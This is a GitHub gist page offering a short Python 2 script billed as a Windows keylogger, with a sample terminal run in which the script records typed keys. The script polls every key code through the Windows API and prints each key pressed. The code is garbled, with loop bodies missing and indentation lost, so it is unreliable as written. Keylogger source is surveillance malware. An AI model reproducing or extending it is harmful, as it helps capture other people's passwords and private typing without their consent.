Skip to content

Instantly share code, notes, and snippets.



Last active Dec 21, 2019
What would you like to do?
Windows keylogger by Python ctypes (Cygwin)
import sys
import time
from ctypes import *
GetAsyncKeyState = cdll.user32.GetAsyncKeyState
special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", 0x2e: "Del"}
# reset key states
for i in xrange(256):
while True:
for i in xrange(256):
if GetAsyncKeyState(i) & 1:
if i in special_keys:
print "<%s>" % special_keys[i],
elif 0x30 <= i <= 0x5a:
print "%c" % i,
print "[%02x]" % i,
$ python
Python 2.7.5 (default, Oct 2 2013, 22:34:09)
[GCC 4.8.1] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
$ python
<Shift> [a0] H E L L O [bc] <Space> [a0] <Shift> W O R L D [a0] <Shift> 1 <Enter> [a2] <Ctrl> C
Traceback (most recent call last):
File "", line 15, in <module>
if GetAsyncKeyState(i) & 1:

This comment has been minimized.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment